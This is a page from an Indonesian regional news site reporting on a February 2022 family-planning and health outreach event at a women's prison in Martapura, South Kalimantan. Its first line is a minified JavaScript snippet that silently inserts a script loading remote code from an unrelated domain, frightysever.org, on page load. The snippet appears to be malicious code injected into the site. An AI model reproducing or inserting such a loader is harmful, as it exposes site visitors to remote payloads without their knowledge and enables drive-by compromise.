(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA- Dinsos P3AP2KB Kabupaten Banjar ikut berpartisipasi bersama Perwakilan BKKBN Provinsi Kalimantan Selatan di LAPAS Perempuan Kelas II A Martapura, Sabtu (5/2/2022). Kegiatan itu dalam rangka Pengabdian Masyarakat Serentak Pada Lembaga Pemasyarakatan (Lapas) di 30 Provinsi di Indonesia.
Kegiatan ini sendiri mengambil tema “Berkolaborasi Untuk Mengabdi Dengan Hati”, bersama Kagamadok, KemenkumHAM, Asosiasi RS TNI, Polri, BKKBN, YHKI, Koseindo, dan komponen masyarakat Lain.
Turut hadir Kepala Perwakilan BKKBN Provinsi Kalimantan Selatan H. Ramlan beserta rombongan Kepala Dinsos P3AP2KB Banjar yang diwakilkan oleh Kabid KB Alfisah beserta Tim Pelayanan KB.
Pada kegiatan ini Dinsos P3AP2KB Banjar berpartisipasi untuk memberikan Penyuluhan Kespro dan Pelayanan KB, selain itu juga ada Pelayanan Vaksin Covid 19, pengobatan masal dan pemeriksaan kesehatan gigi untuk warga binaan LAPAS maupun petugas di sana.
Baca juga: Kronologi Subuh Maut di A Yani Km 24 Landasan Ulin: Avanza Masuk Jalur Berlawanan Tabrak Pikap Carry
Salis Farida selaku Kepala Lapas Perempuan Kelas IIA Martapura menyampaikan apresiasi atas sinergitas pelaksanaan pengabdian masyarakat melalui bakti sosial di Lapas ataupun Rutan secara serentak itu, terlebih di wilayah kerjanya.
“Saya sangat berterima kasih atas kehadiran dan partisipasi dari jajaran Kanwil Kemenkumham Kalsel, IDI, Keluarga Alumni Gajah Mada Kedokteran, asosiasi RNI-Polri, BKKBN, YHKI, Koseindo, serta komponen masyarakan yang berkenan hadir. melalui kegiatan itu tentu sangat membantu warga binaan dalam pemberian layanan kesehatan. Begitu pun terhadap para pegawai Lapas, Semoga dapat menjadi amal ibadah, serta memberikan manfaat untuk kita semua,” jelasnya.
Kabid KB Dinsos P3AP2KB Banjar Alfisah saat memberikan Penyuluhan Kespro menyampaikan warga binaan tidak selamanya tinggal di Lapas. Mereka akan keluar dan berbaur kembali dengan masyarakat serta keluarganya, sehingga diharapkan salah satu aspek pembinaan adalah pengetahuan tentang bagaimana menjaga kesehatan reproduksi serta pemahaman tentang alat kontrasepsi yang cocok.
“Setelah keluar dari LAPAS mereka mendapatkan pengetahuan mendalam tentang ini,” harapnya.
Sebanyak 250 warga binaan tidak melewatkan kesempatan yang diberikan untuk menanyakan informasi terkait Kesehatan reproduksi dan KB, dan untuk warga binaan yang aktif bertanya juga diberikan souvenir dari BKKBN. Untuk pelayanan KB sendiri sedikitnya ada 8 orang yang dilayani dengan pemasangan Alokon Suntik dan Implant. (Kanalkalimantan.com/kk)
Reporter: kk
Editor: cell
KANALKALIMANTAN.COM, BANDUNG - Direktur Utama PT PLN (Persero) Darmawan Prasodjo memastikan seluruh infrastruktur Stasiun Pengisian… Read More
KANALKALIMANTAN.COM, CILEGON - Wakil Menteri (Wamen) Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan sistem… Read More
KANALKALIMANTAN.COM, PARINGIN - Desa Balida, Kecamatan Paringin untuk kali ketiga mengelar gebyar desa. Acara bertajuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Destinasi wahana mandi busa pertama hadir di Kota Banjarbaru menjadi pilihan warga… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Momentum Natal dan Tahun Baru 2025, Kesatuan Aksi Mahasiswa Muslim Indonesia (KAMMI)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Srikandi PLN Unit Induk Penyaluran dan Pusat Pengatur Beban Kalimantan bersama dengan… Read More
This website uses cookies.